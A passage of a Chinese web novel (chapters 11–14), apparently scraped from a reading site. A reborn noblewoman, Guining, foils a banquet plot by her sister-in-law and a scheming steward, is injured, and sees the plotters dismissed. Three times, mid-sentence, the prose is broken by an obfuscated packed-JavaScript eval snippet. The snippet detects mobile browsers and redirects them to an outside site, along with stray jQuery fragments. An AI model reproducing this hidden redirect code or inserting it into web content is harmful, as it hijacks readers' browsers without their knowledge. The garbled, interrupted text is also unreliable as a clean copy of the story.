邓氏紧摇头，闪过一丝愁绪：“这可不行，归宁是老太太钦定的伯爵夫人，总不能夫妻还没圆房，就纳个妾室进来。宠妾灭妻这种事我们伯爵府可做不出，改日我劝劝绰儿。” “再说，有些事还为之过早，断不能让宋家那位有所察觉。我那小姑子厉害着呢，可不似她女儿这样柔顺好哄。这几年又在外边操持宋家生意，哪里是我这等养在内宅笨头笨脑的人可比。” 邓氏这话，三分自嘲中藏着七分揶揄，她就是想用自己这三分能耐，去赢那有七分本事之人的全部身家，看是她这上不了台面的太夫人还是昔日那伯爵府左拥右簇的金贵姑娘笑到最后。 “绰儿还是太年轻，藏不住心事。我还是得劝劝他。” 邓雪柔有几分能耐，邓氏心里清楚，眼下萧家还离不开归宁，她正好可以做个和事佬。 当晚，伯爵府众人各怀心思歇下，一夜平静。 11. 家宴 次日一早，府中有条不紊的忙碌起来。在归宁的安排下，只见院中人影穿梭，各司其职，不见推诿，更不敢有人躲懒。 至巳时末，宾客陆续而至。弘文伯府正门大开，萧元绰站在朱门下迎客，归宁则在垂花门处迎接女眷。 杨老夫人来得早，归宁还在迎客，顾不上招待她。邓氏见杨阁老的夫人前来，笑着脸迎了上去，请她上座。杨老夫人看不上邓氏，睨了她一眼，转头坐到相熟的户部侍郎的夫人旁边，与一众小辈有说有笑。 待归宁忙完，来请杨老夫人上座，她才扶着归宁的手坐到邓氏旁边。用饭时，归宁亲自给杨老夫人布菜，夹的每一道菜都深谙老太太的心。 众官眷见杨老夫人如此抬举归宁，都对归宁笑脸相迎，偶尔提起归宁的外祖母，也都是一脸敬服。 唯有大姑奶奶萧元荷一脸不屑，可她身旁的婆婆赵太太却没给她好脸色，也跟着众人夸赞道：“老太太跟前养大的姑娘，就是不一样。”言罢，暗睇了萧元荷一眼。 萧元荷在邓氏身边长大，当初说亲时，她瞧上了定国公家风流倜傥的四公子，可老太太不同意，硬是将她说给了赵家。赵家祖上擅长造船，赵家二爷赵明敬耳濡目染，自幼跟着祖父学习造船技艺，二十不到就中了举人，可接连两次进士落榜。 眼见科举入仕无望，凭借祖传的手艺，被人推举入了工部做官。 萧元荷嫌弃赵明敬连个进士都不算，又是个一板一眼不懂变通的性子，极为不情愿。 可老太太眼光毒辣，本朝开海之后，造船业一定能得到大力发展，而且赵明敬为人实诚，不是那等花花肠子多，喜欢胡来的人，能受住萧元荷刁蛮的性子。 赵太太作为萧元荷的婆婆，自然知道儿媳妇的秉性，眼高手低，顾前不顾后，还经常要她这个老太婆出来打圆场，又想起当年她相中定国公四公子的那些流言蜚语，从心眼里窝火。 萧元荷自是听懂了婆婆的明讥暗讽，却假装无事人一般，贴在婆婆耳边低语了几句，就将赵太太哄得眉开眼笑。 两人说完，就见萧元荷向后招了招手，在赵太太带来的贴身丫头乐巧耳边低语了几句，乐巧闻言神情微愣，似乎有些不敢置信，见萧元荷催促她，才带着几分窃喜，悄悄离开了后宅。 初始乐巧还能按捺自己的心情，走到垂花门前，脚步快得要飞奔起来。 归宁一直眼观八方，见赵太太家的丫头乐巧走了出去，向后摆了摆手，站在一旁的周嬷嬷会意，也跟着出了内宅。 这时众人已饭毕，移步到了后花园听雨阁去听戏。 杨老夫人点的《孟姜女送寒衣》正唱到一半，周嬷嬷一脸凝重的走来，在归宁耳边低语几句。 归宁秀丽的脸上笼上了一缕愁色，在杨老夫人耳边说了句：“我去去就来。”言罢，带着人下了听雨阁。 那边萧元荷和赵太太，也紧跟其后，倒是邓氏岿然不动，依旧稳居主座，陪着众女眷说笑。 一行人走出后花园，穿过抄手游廊，很快到了前院的客房，这里萧元绰和赵明敬已经站在门外候着了。赵明敬显然是喝得有些多，摇摇晃晃险些站立不住，刚才走出来的赵家丫头乐巧正扶着他。 萧元绰见归宁前来，面色更加难堪，挡在她面前，温声道：“你怎么来了？” 归宁面色凝重，“夫君，出了什么事？” 萧元绰睨了萧元荷一眼，冷哼一声，“还是大姐姐进去瞧瞧吧，横竖都是咱们家里的事，不要在外人面前丢人现眼了。” 萧元荷冷冷地看了一眼扶着赵明敬的乐巧，一甩袖，就进了屋，正瞧见自己的陪嫁丫头桂香和吴明两个人衣衫不整的躲在屋内。 见萧元荷走了过来，没脸见人的桂香一个箭步扑到萧元荷脚下，泣声道：“小姐救我，是吴明黄汤灌多了，要对奴婢图谋不轨。” 那吴明也不吃这哑巴亏，整整身上的衣衫，跪到萧元绰面前道：“大爷，是那小蹄子勾引小的。” 他刚开了个头，一旁秦管事的小儿子秦三，噗通一声跪倒道：“大爷，小的知错，请大爷处罚。” 萧元绰面露难色，这怎么又牵连出秦三了？求救一般看向归宁。他刚回府不久，这府内的大小事并不熟悉，不知道他们唱的是哪一出。 归宁摆手先暗示他们都不要说话，对着一旁的赵太太福身道：“是归宁不好，没有管教好下人，让伯母和姐夫看笑话了。” 随即又对身旁的周嬷嬷道：“嬷嬷，我看姐夫醉得不轻，你先找一间客房，让这丫头扶着姐夫先去休息片刻。” 转头又对赵太太笑道：“后院的戏唱的正热闹，听说您最喜欢那出《牡丹亭》，这次请的戏班子，有个丫头昆曲唱得极好，您不去听听？” 见赵太太冷冷地盯着萧元荷，一动不动，归宁又低声劝道：“伯母和大姐姐都在这里，不知道的还以为赵家出了什么事儿呢。” 这话说到了赵太太的心坎上，她素来最爱面子，很怕外人背地里说三道四，睨了归宁一眼，哼了一声，正准备转身离开，秦三突然开口了：“小的刚才好像听吴明在屋里在喊什么‘巧儿……巧儿……’”。 归宁冷叱一声，“秦三，住口。” 越是不让人说，赵太太心中越是生疑，往前紧走几步，盯着秦三道：“你说！你仔细说！” 秦三跪在地上，抬头看了归宁一眼，见她暗暗朝自己点头递眼色，才一五一十道：“夫人再三交代，今天的庆宴很重要，一定不能出什么纰漏。前院主子们刚开席，吴管事拎着酒菜过来说‘今天是主子的好日子，我们也该为主子庆祝庆祝。’” “说着偏要拉着我爹喝两杯，我爹怕误了主子的事，推辞不肯喝。可吴管事热情相邀，硬拽着不让我爹走，我爹推辞不过，和吴管事坐下来喝了几杯。不知不觉吴管事竟然喝多了，开始胡言乱语起来，我爹就让我扶他下去休息。” “小的刚安顿完吴管事，就见吴管事旁边的小厮六儿领着一个脸生丫头走了过来。小的心里起疑，这丫头不像是我们府里的人，就过去问了几句。” 说到丫头，秦三抬头看了乐巧一眼，乐巧知道这人说的就是自己，将头压得更低。众人见乐巧低眉不语，就当她是默认了。 秦三继续道：“那六儿支支吾吾，什么都不肯说，还怪我多管闲事。我们两个拉扯之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541647|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那丫头才说自己是姑爷家太太身边的人，受姑奶奶吩咐，来前院客房照看喝多了的姑爷。” “小的就疑心了，那姑爷还在前院喝酒呢，根本不在客房这边休息，怎么能把人往这边领呢？就说‘姑爷还在前院呢，不信我带她过去看看。’可六儿偏说姑爷就在客房这边。正当我们争执不下之际，来找我爹问话的周嬷嬷恰巧路过，说她带那位丫头去前院找姑爷，六儿这才肯放人。” “以上这些，周嬷嬷和那丫头都可为小的作证。” 周嬷嬷先点了点头，乐巧只是将头压得更低，羞得满面通红，咬唇不语。 萧元绰见状，知道秦三没有说谎，道：“你继续说。” 秦三才又道：“今天府中事多，离了吴管事还真不行，我爹让我来给吴管事送醒酒汤，刚走到屋外，就听到里面传来女子的挣扎呼救声，还有吴管事喊‘巧儿，你往哪儿跑……’，我吓得一激灵，赶紧往外跑，正撞见之前那丫头还有大爷扶着醉酒的姑爷进来了。” 说到这里，秦三抬头看了乐巧一眼，继续道：“大爷也听到了吴管事屋里不同寻常的动静，让小的踹开门，就看到了吴管事拽着姑奶奶身边的丫头欲做不轨之事……” “都怪小的办事不利，我爹让我留在这里照顾吴管事，我还去弄什么醒酒汤，让府里出了这等丑事！” 归宁听完，面色冷沉，抬手道：“秦三起来。”眼光扫过萧元荷，最后神色复杂的停驻在赵太太身上，这已经不仅仅是萧家的事了。 赵太太被归宁这一眼瞧得头皮发麻，她怎么说也是长辈，要拿出长辈的威严来。 上前几步，照着萧元荷的脸抬手就是一巴掌，斥责道：“真是弘文伯府的好姑娘，连个丫头都容不下，用得着你这么费心费力的算计她。” 乐巧是赵太太带来的丫头，平时一直在赵太太身边伺候，小名正是吴管事嘴里喊的那声“巧儿”，也就是刚刚秦三拦着不让六儿带进去的那丫头。 说是一个丫头，倒不如说是赵太太的远房亲戚。她觉得这丫头乖巧伶俐，又会疼人，做了一手好针线，有意让她做儿子的姨娘。 萧元荷自从上次生了哥之后，伤了身子，这几年肚子一直没动静，赵太太心里等得急，难免偶尔唠叨一两句。 可萧元荷本就是下嫁，性子又十分要强，哪里受得住赵太太这些排场，动不动就在赵明敬跟前哭天抹泪。赵太太再稍微多说两句，就委屈地往娘家跑。 邓氏心疼自己女儿，每次都红着眼在赵太太面前委屈道：“荷儿不懂事，您大人大量别和小辈一般计较，我替她给您赔个不是。” 态度诚恳，柔弱堪怜，弄得赵太太每次都像欺负人一般。她越可怜，赵明敬就越心疼，对赵太太这个母亲就更有意见。 赵太太实在是无计可施，又急着给赵家开枝散叶，才有意抬举乐巧。这刚有个苗头，萧元荷就趁着萧家家宴，有意支开乐巧，让她来前院服侍。她一个赵家的丫头，在萧家不熟门不熟路，还不是任人摆弄。 刚才若不是秦三出口制止，又被周嬷嬷出来劝走，她就被吴管事身边的小厮六儿拉着进了不知道哪个男人的房间了…… 12. 受伤 吴管事是邓氏身边陪嫁姜妈妈的儿子，也正是前世香冬嫁的男人。就是他联合邓家人以香冬的女儿要挟，迫使香冬替他们做事。 今世归宁第一个要处理的人，就是邓家的这个爪牙。 吴明的母亲姜妈妈经常去赵家看望萧元荷，每次二人都躲在屋里说上半日的悄悄话。 说巧不巧，昨日姜妈妈才去赵家给萧元荷送梅花酒，两人又躲在屋里说了半晌的话。 赵太太刚才还在纳罕，萧元荷今日怎么主动提议让乐巧来照顾二爷，原来心里早有算计。 那六儿是吴明身边的人，硬是哄骗乐巧往这边来。 还有屋里明明另有其人，吴明嘴里还一口一个“巧儿”，这明摆着不是算计她身边的人吗？ 在赵家她无从下手，竟然跑到娘家下黑手，实在让赵太太忍无可忍，一气之下，当场让萧元荷下不来台。 归宁见状忙上前劝慰道：“伯母您别生气，恐怕这里面有什么误会。” 萧元荷捂着脸，泪水在眼眶里打转，泣声道：“娘都不问问清楚，就怪到儿媳头上，为了一个丫头在娘家就敢对儿媳打骂，儿媳真的是没脸活了！” 话讫，萧元荷冲着离自己最近的柱子就冲了过去。归宁见状不好，急忙挡在萧元荷面前。萧元荷重重地撞进归宁怀里，将归宁“咚”得一声狠狠地撞在了廊柱上。 萧元荷也就是做个姿态，没想着真撞，力气不算大。归宁虽有心理准备，可背后传来的剧痛还是让她双脸煞白，冷汗直流。 萧元荷只想将自己撞晕，假装昏死过去，将眼前的烂摊子交给归宁处置。婆母为了脸面，看在和祖母的交情上，今日一定不会声张。 可她却一头将归宁撞伤了，看她疼得扶着小腹渐渐滑下去，有些不知所措得愣在当场。 萧元绰过来，一把拉开她，三步并两步走到归宁面前，一手扶上她的纤腰，关切道：“阿宁，怎么样？要不要请郎中？” 归宁扶着他的手，强撑着要站起来，可双腿忍不住打颤，疼得浑身发软无力，连站立都费劲，萧元绰一把将她横抱起来，对着一旁急得手足无措的周嬷嬷道：“快去请大夫。” 本可以三言两语关起门来私下说清楚的事，却还要惊动大夫来看诊，传到那些参加家宴的宾客耳朵里，指不定传出什么风言风语来呢。 腾空的感觉让归宁极度缺乏安全感，她对他早已失了之前的信任，扯着萧元绰的衣袖，微微不安道：“先将我安置在你的书房吧，若是这样回去，让旁人瞧见了，定有一番猜测。” 萧元绰将归宁抱回他的书房，轻轻放到架子床上。身体触及柔软被褥的那一刻，后背有了支撑的归宁悬起的心稍稍松了松，道：“宴席也快散了，夫君还是先去前院陪客人，后院的事，就劳烦母亲了。” 萧元绰是府中唯一的男丁，前院离了他不行，他不能在这里逗留太久，有些不放心地道：“那你行吗？伤得重不重？要不让我先看看？” 他让归宁侧躺在床上，手顺着她单薄的脊背一寸寸往下移，稍稍用力向下压，好确定她的肋骨没有断，每移一寸就问一句：“这里疼吗？” 归宁知道自己的后背应该是有些擦伤，腹部因为撞击，才有短暂而剧烈的疼痛，骨头没有断，她拉下萧元绰的手，虚弱道：“我歇一歇就好了，夫君先去忙。让周嬷嬷请亲家太太先回后院听戏，不要让外人瞧出端倪来。让婆母代我向众位女眷赔个不是，就说我一不小心扭伤了脚，不能送各位了。” “让秦管事带着人看着吴明，桂香虽是大姐姐的人，无缘无故来前院，若不说清楚，难以说服亲家太太，也一并看管起来。” “今天宾客众多，这种见不得光的事，千万莫让外人知道了。等众宾客散了，咱们自家人关起门来再审。”前世秦管事出事就是因为宾客众多，人言可畏，让她处理起来畏手畏脚。今世不管发生什么，她都要尽量控制风险。 见萧元绰犹犹豫豫地不愿意走，归宁使劲推了他一把，“夫君快去吧，耽搁久了，就有人生疑了。” 萧元绰暗怪自己这位不省心的姐姐，却也庆幸自己娶了一位明事理的好娘子，将归宁揽在怀里，轻抚她单薄的脊背，低哑道：“好好休息，等我回来。” 赵太太是一个要强且好面子的人，自然不愿意在宾客未散时，将事情闹大，很快跟着周嬷嬷回了后院。 萧元荷挨了一巴掌，半边脸肿了起来，被萧元绰派人送回了邓氏的福寿堂。 至申时，宾客们陆续散尽，萧元绰和邓氏送别众人。来参宴的女眷只是听说伯夫人扭伤了，其他一概不知。唯有杨老夫人和盛昌伯府的卢夫人，坚持要去看归宁一眼，邓氏好劝歹劝也没有用。 这盛昌伯府不是别人，正是归宁外祖母的娘家姚家。姚家祖上曾是国公，如今降等袭爵，到现在是伯爵，改封盛昌伯。 故按辈分，现在的盛昌伯是归宁的表舅。等这位表舅过世，姚家的爵位就到头了。因着姚家连着数十年都没有人科举入仕，盛昌伯为了给孩子博一个好前程，一直在军中积累战功，连着几年不曾归家，是以这次他并没有来。 老太太在世时，给萧家二姑娘萧元昕和姚家的三公子也就是卢夫人所生的小儿子定下了娃娃亲。只等萧元昕及笄，就过了明路，准备迎娶。 因着老太太在世时，从不让邓氏插手管家之事，连带卢夫人也看不起邓氏，两人暗中较着劲。 今日邓氏正是焦头烂额之际，知道卢夫人跟过去肯定是瞧她笑话，满脸堆笑道：“表嫂子，我见元昕那丫头这几日病恹恹的，你去瞧瞧她吧。请她去盛昌伯府去坐坐，散散心。” 每次卢夫人来拜访，邓氏都是很不愿意让萧二姑娘出来见客，经常是寥寥几句话，就将人打发下去，卢夫人想多说几句，都找不到机会。归宁前三年一直在守孝，不宜参加宴请，出门的机会也少。今日卢夫人好不容易有个机会和萧二姑娘唠些家常，着实有些心动。 而一旁的赵太太也担心家丑外扬，也跟着劝道：“你还不赶紧去看看未来儿媳？” 卢夫人在邓氏和赵太太左右夹击之下，终于改了主意，去看元昕。 赵太太则笑着搀起杨老夫人的胳膊道：“正巧我也去瞧瞧归宁，就我陪着您去吧。” 话罢丝毫不顾及邓氏难看的脸色，搀着杨老夫人一路走向归宁休息的客房。 邓氏则趁机命身边的姜妈妈将卢夫人支开，送去瞧萧二姑娘，自己陪着杨老夫人和赵太太等人去探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541648|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望归宁。 一路上，赵太太不由感叹道：“当年老太太在时，对这外孙女可是千疼万宠，这些丫头中，就属她最像老太太。” 一句话勾起了杨老夫人的万分感慨，心里默念，“同虞呀同虞，你这一辈子是真的苦呀！也罢，既然受了你临终之托，有我在一日，谁也不能欺负你这宝贝外孙女！”同虞正是归宁外祖母的闺名。 归宁见到杨老夫人，撑着身子起来要行礼。 杨老夫人急忙上去按住她，“别动，别动，别牵扯到了伤处。” 外祖母病重时，杨老夫人曾来探病，二人屏退众人，说了好久的话，归宁犹记，杨老夫人离开时，双眼通红地拉着归宁的手，满是心疼道：“委屈你了。” 如今见到她受伤，想起老姊妹的托付，杨老夫人定要问个缘由才能安心。 而赵太太却暗睇了一旁的萧元荷一眼，她坚持要拽着杨老夫人来，心里确实有自己的一番盘算：横竖这是她闯出来的祸事，不能将脏水泼到他们赵家身上。邓氏贯来会和稀泥，她倒要看看，当着杨老夫人的面，她们还怎么闹腾。 如果有机会，她今天正好当着众人，抬举乐巧，也好解了自己这块心病。 ** 书房内设有屏风，归宁在屏风的内侧，半靠在床头歇息，屏风外侧，萧元绰正在审人。赵太太在里头略坐了坐，陪着归宁说了几句话，起身要出去瞧瞧。 见萧元荷不动，睨了她一眼，高声道：“是你身边的人出了事，好歹去看看。” 接下来的审问，赵太太越听越不对劲，这好像不单单是萧元荷嫉妒，有意除掉一个丫头这么简单。 这件事竟牵扯到萧家的库房财务上来了。 只听那吴明一直在喊自己冤枉，说是有人在自己的酒里下了药，故意陷害自己，那下药人就是秦管事。 他状告秦管事仗着伯爵府的势，在京郊低价买了一千亩良田。他无意中听说了此事，秦管事怕事情暴露，有意陷害他。 而秦管事也不含糊，直接将地契拿了出来，呈给萧元绰道：“这块地是太太命我帮邓家买的，钱是从咱们府上公账上赊的，这几天刚办好。因着邓家还没把银子送过来，所以地契还没有拿给太太。” 只隔着一道屏风，外面的话归宁听得清清楚楚。她竟不知道，原来邓氏背地里还干了这件事，怪不得前世邓氏和萧元荷要想尽办法将秦管事挤走。 前世的情况是萧元荷的丫头来找姑爷时，无意间撞见秦管事轻薄了赵太太身边的乐巧，闹得萧家和赵家脸上无光。 归宁也是要脸面的人，众目睽睽之下，如何还能留下秦管事？虽然百般不愿，可为了镇住下人，为了树立自己管家人的威信，只能将秦管事打发出府。 若是寻常情况，归宁还能帮他开脱，可在宾客云集的庆宴上，当着亲家的面，对着萧元绰一张冷脸，归宁再不舍，也只能扼腕断臂。 秦管事离开之后，吴明很快顶了他的差事，不久之后经萧元绰说和，归宁点头，同意将香冬嫁给他。 直到她前世临终前得知自己被邓家算计，她就开始猜测，吴明娶香冬，就是他们早早计划好的，是专门对付她的一步棋。如今，她定要亲手将这盘棋打乱。 13. 处置 若说秦管事在弘文伯府的地位，还要从归宁那个感染瘟疫而死的小舅舅说起。 在归宁稍稍记事时，母亲就曾经提起过她那个不幸早逝的小舅舅。 那年四月，京师瘟疫横行，京城家家户户都在死人，路上隔三差五就有人发丧。 小舅舅在散学归家途中搭救了一名晕倒在路边的妇人，不久之后就高烧不退。 母亲终身难忘小舅舅殒命前的光景，那段时光全府上下都笼罩着一层厚厚的阴云。 染病的小舅舅一直在屋里哭喊：“母亲……我好疼……，母亲……我好难受……”声音越来越弱。 年幼的母亲就在院外哭，求外祖母：“娘，让我进去看哥哥一眼吧……” 外祖母知道这病会过人，抱着母亲哭，“孩子，不是母亲心狠，而是母亲怕你也出事呀……” 娘俩在院外抱头痛哭，小舅舅在屋子里难受的呻吟。 至今归宁想起此事，仍忍不住感叹，小舅舅那时也不过是个孩子呀！ 据母亲回忆，直至小舅舅咽下最后一口气，外祖母也没敢进去看一眼。 不是她不想，而是作为一个母亲，她不能丢下另一个。如果她也不幸染病，留下一个刚刚记事的孤女，让她怎么活？ 萧家又将何去何从？ 最后还是小舅舅的奶娘，冒着生命危险陪着小舅舅走完最后一程。让小舅舅在临死前从奶娘身上得到了母亲才有的温暖。小舅舅过世之后，他的奶娘自请去庄子上休养，再也没能回来。 而这位奶娘就是秦管事的母亲，她离世的时候，秦管事还是一个十三四岁的少年。 秦管事有一个妹妹就是秦妈妈，在送外祖母灵柩回祖籍的返程中遇难，秦家先后出现了两个为主而亡的忠仆，在伯爵府的下人中，自然是头一份的重用和优待。 今世归宁要做的第一件事就是保住自己的左膀右臂，秦家。 见吴明反咬一口，秦管事也不甘示弱，呸了一声骂道：“吴明你是偷鸡不成蚀把米，本想算计别人，反而把自己算进去了。酒菜可都是你自己准备的，怎么就成我陷害你了？” 归宁担心出事，昨晚回来时再三叮嘱秦三：“今日庆宴要万分小心，万不能喝酒误事，底下多少人眼馋秦管事的差事，可别让有心之人钻了空子，你也要时常提点你爹，切不可大意。”只有这她还不放心，另外派了一个小厮，让他时刻盯着秦管事。 如今前院虽然有邓氏的人，但仍有不少是外祖母的心腹。还不是十年之后，秦管事被排挤离开，许多老人对归宁的处置感到寒心，渐渐睁一只眼闭一只眼。 再者归宁多年无所出，两个妾室却接连诞下子嗣，这让一些原本心向她的人，也开始为自己的以后打算。 这个世道对女子本就苛刻，出嫁从夫，夫死从子，没有子嗣的她，在这府里是没有未来和希望的。她越是管家管得好，邓氏和萧元绰越受益，而那些下人们就越嫌弃她的严苛。 但凡大宅院里，都有很多不成文的规定。主子若是懦弱，奴才就敢跳起来欺主；主子要是严苛，他们就会私下抱怨。越是管事的人，受的埋怨越多，而坐享其成的人，偶尔一次恩赏，在下人眼中都是显灵的菩萨。 前世萧元绰和邓氏能将局做得天衣无缝，多半也与这些管事们不与她交心有关。 既然前世今生都躲不了要管家的差事，归宁就要趁机将邓氏的人先剪除干净，以免被反咬一口。 见二人争论不休，归宁并没有宁事息人的意思，反而是极为平静地等着秦管事抖落出更多隐情来。 反倒是旁听的赵太太见状，建议道：“光听他们嘴上说谁陷害谁，那是公说公有理婆说婆有理，各执一词，实在不好评判。可这地契查一查就知道在谁的户头上，是谁在说谎。”话说到这里已经和赵家没有多大关系了，但是不妨碍她看戏。 吴明不知道秦管事是给太太办事，还以为抓住了对方的把柄，不想却让主子栽了个跟头，脑子嗡嗡直响。 原本是计划将秦管事和乐巧关在一起，让大姑奶奶身边的桂香和他一起来捉奸，这样内院和外院的人就都惊动了。 不曾想自己反着了道，不仅没帮着大姑奶奶除掉乐巧这个心头大患，还将主子牵扯进来，这样查下去，他没有好果子吃。 吴明向来是个心思活络的人，见情势对自己不妙，忙磕头改口道：“大爷，太太，小的知错了。是小的心仪桂香姑娘，才想了这样的昏招，抢先把生米做成熟饭，再请主子们成全。谁成想事情闹大了，小的一时害怕，才胡言乱语。都是小的的错，是小的色迷心窍。” 吴明连连磕头，“那酒本来是准备给桂香姑娘喝的，小的一紧张拿错了。这些事和秦管事无关，和大姑奶奶更没有关系，都是小的的错。” 赵太太内心冷笑一声，看样子是要弃车保帅了，很是不甘地提醒了一句：“那怎么有人听见你喊‘巧儿’呢？” 吴明忙道：“是小的乱喊的，当时小的已经迷糊了，根本不知道自己胡乱喊了什么，说了什么。” 吴明说罢，乞求一般看向萧元绰。 这事最终还得由他这个当家人来断，若是深挖下去，会牵扯到母亲和邓家，顺着吴明找补的台阶往下走，是一个不错的方法。 可吴明这些话，关起门来说给萧家自己人，还勉强圆得过去。大姐姐陪嫁的丫头还是萧家人，萧家的管事调戏萧家陪嫁的丫头，说到底就是萧家自己的事，若不想丑事外扬，萧家大可睁一眼闭一只眼蒙混过去，不与赵家相干。 赵太太再是不甘休，也不能在萧家的地盘上将事情闹大。 可杨老夫人就在里面，她能什么都听不出来吗？她与祖母关系最要好，归宁还伤在床上，要是这样糊里糊涂过去，岂不是影响他的官声。 常言道：修身齐家治国平天下，连家里的下人都约束不好，如何做得了一名好官？在杨老夫人面前，他必须有所表现才是。 正当他有所顾忌时，周嬷嬷从屏风内绕了出来，对着萧元绰福了福身子，“大爷，小六是跟着吴明做事的小厮，不如审一审他，问他为何要千方百计哄骗乐巧姑娘往客房走。” 周嬷嬷的话，就是归宁的态度，她要严查，不能蒙混过去。 很快六儿被带了上来，面对一群主子，还不等萧元绰发问，抢先交代道：“小的只是奉吴管事之命行事，将一位姑娘带过去。” 萧元绰面色冷寒，冷问道：“那你可知道，客房那边都有谁？” 六儿将整个身子匐在地上，颤声道：“吴管事说是秦管事，让小的送到秦管事平时休息的房间。” 管事的房间是给下人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541649|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备的，和客房的位置与布置完全不同，可乐巧不是府里人，奇怪八绕早已被绕晕的她根本分不清。 萧元绰闻言，抄起桌上的茶盏砸向吴明，半温的茶水泼了他一身，“你还想怎么狡辩？” 此时邓氏站了出来，对着萧元荷，肃声道：“荷儿，你说，到底怎么回事儿？”为了稳住秦管事，不让他把邓家牵扯进来，邓氏必须要让秦管事闭嘴。 萧元荷瞪着邓氏，觉得眼前的母亲有些陌生，她没有再像往常那样伸手将她拉离是非，而是努力将她推开，让她独自面对狂风暴雨。 她有些不敢置信地张了张嘴，“母亲，不是你……” 这一切少不了母亲的出谋划策呀！既除掉了秦管事，又帮她拔除乐巧这个眼中钉。秦管事是祖母的人，母亲好不容易找来这样的机会，一箭双雕。 邓氏立刻出口打断她，“荷儿，你还不知错？看来是我把你宠坏了，不知天高地厚！” 说着，自己眼圈儿也红了起来，走到赵太太面前，放低身段道：“亲家母，我听荷儿说，乐巧那丫头乖巧伶俐，温柔可人，今日我见犹怜，也难怪亲家母喜欢。可荷儿也是我身上掉下来的肉，当年老太太促成这门婚事，是咱们两家的缘分。小夫小妻的，哪里有不拌几句嘴的？可亲家母不应该在姑爷身边放个人，给荷儿添堵呀！都是做母亲的人，荷儿也是对姑爷一往情深，才容不下那姑娘。” “说到底，就是一个丫头惹来的祸事。亲家母要真是喜欢那丫头，就大大方方的问问他们小夫妻，如果姑爷愿意，我就替荷儿做主，同意了。” “若是姑爷不愿意，亲家母别给荷儿难堪了。我家荷儿是任性些，我以后会好好管教她。俗话说，宁拆十座庙，不破一门婚。总不能为着一个小丫头，咱们两家撕破脸皮，不顾体面和名声，连日子都不过了吧？” 邓氏涕流满面地说完，拉着萧元荷就对赵太太赔不是。 萧元荷的确有错在先，可她赵太太也不是全然有理。 赵太太也只是想在萧元荷面前立威，让她有所收敛，见邓氏说得如此真情实感，也不能不给亲家颜面，拉起福身赔罪的萧元荷，冷着脸，退了一步道：“好了！” 今日这事，是她可以握在手上的把柄，以后的日子还长着呢。 萧元绰见赵太太松口，对这些下人也就不再客气，以免让亲家不快，更要趁机在杨老夫人面前表现自己的公正无私：“吴明和六儿自今日始，不再是我萧府的人。明日就放了身契，自谋营生。至于母亲身边的姜妈妈，母亲看着处置。” 萧元绰不提这一嘴还好，当着赵太太面前说，就是让她要表个态，邓氏闻言，泪痕斑斑的脸上勉强挤出一丝笑颜道：“姜妈妈年纪大了，也该放出去容养了。” 听到自己想要的结果，归宁紧绷的心终于放了下来，她觉得今日受的伤，值了。 见尘埃落定，归宁对着一旁的杨老夫人略略一笑道：“有劳老夫人来看我，我好多了。等伤好了，我再去您府上看您。” 杨老夫人年纪大了，心力不济，见萧元绰处置还算公道，起身道：“你好生休息，我这就走了。” 她本是担心老姐妹的宝贝外孙女，见她无碍，寒暄了几句，就起身告辞。萧元绰亲自送到大门外，看着杨老夫人的马车消失在街角，才转身回府。 14. 求和 可他刚迈进前院，就听见大姐姐萧元荷尖锐的哭嚎，“娘，你要给女儿做主呀！” 原是赵明敬醉酒睡着了，不知不觉间将照顾她的乐巧当成了萧元荷，搂在了怀里。那乐巧半推半就间，爬上了床。 萧元荷在邓氏的转圜下，刚与婆婆有所缓和，进门就看到这样一幕，哇得一声哭出来，埋在邓氏怀里肩膀一抽一抽的，很是无助。 若是在旁的时候，这种事足以让萧元荷闹得鸡飞狗跳，两家都不得安生，今日正巧是她理亏在先，只能哭诉自己的委屈。 赵太太看见躺在儿子旁边的乐巧，先是一愣，转瞬间便恢复了平静，这样也好，如果趁现在把生米煮成熟饭，后边也免了她不少麻烦。 赵明敬还未完全酒醒，被人喊起来，有些懵懵的，看到自己身旁坐着的人衣衫不整，委屈巴巴地瞧着自己，手指搅着衣襟，低低道：“二爷喝醉了，拉着我不放。” 说话间将白皙的手腕露了出来，上面有一圈因用力拉扯而留下的红痕。 赵明敬舌头有些打结，下意识地看向萧元荷，只见她靠在岳母怀中，哭得伤心欲绝。而眼前的女子也因委屈红了眼眶，晶莹而倔强的泪水在眼中打转，低头间，大滴大滴地落了下来，落在白皙微敞的胸口，在昏黄的烛光中，闪着盈盈之光。 邓氏恨恨地瞪了这柔弱狐媚的女子一眼，恨不得上去将她拉扯下来，狠狠地踹上两脚。 